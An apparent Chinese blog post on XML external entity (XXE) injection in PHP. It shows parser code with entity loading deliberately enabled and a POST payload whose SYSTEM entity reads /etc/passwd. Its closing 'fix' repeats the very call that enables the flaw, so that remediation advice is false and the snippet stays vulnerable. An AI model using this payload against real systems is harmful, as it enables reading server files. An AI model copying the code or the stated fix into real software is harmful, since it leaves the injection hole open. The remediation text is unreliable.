XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共2104人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    我写东西通常有两种情况：一是我丢了灵魂，二是我想装逼了。

    ——李宫俊

今日排行

  • 速查表

    速查表是自己整理了一份在工作中常用的一些资料，包含了自己在日常开发中需要常常用到的相关技术。可以给读者进行参考。

  • dmesg：系统启动异常诊断

    dmesg命令用于显示内核环形缓冲区的内容。在进行系统引导时，内核会将硬件和模块初始化相关的信息写到这个缓冲区中。内核环形缓冲区中的消息对于诊断系统问题非常有用。

  • uniq：去除重复行

     uniq命令用于输出或忽略文件中的重复行(连续出现的相同行)。在工作中，我们会先对文件进行排序，然后去重计数。

  • 树(Tree)

    树是计算机中非常重要的一种数据结构，使用树这种数据结构可以描述显示生活中很多事物，例如家谱图、单位的组织架构等等

  • 图片视频下载利器：you-get

    you-get是一个基于Python的开源命令行工具，主要用于下载来自多个视频网站的视频、音频和图片资源。它支持YouTube、Bilibili、Vimeo等平台，可通过简单命令快速获取下载链接并支持自定义保存路径和格式。 ‌

点击排行

友情链接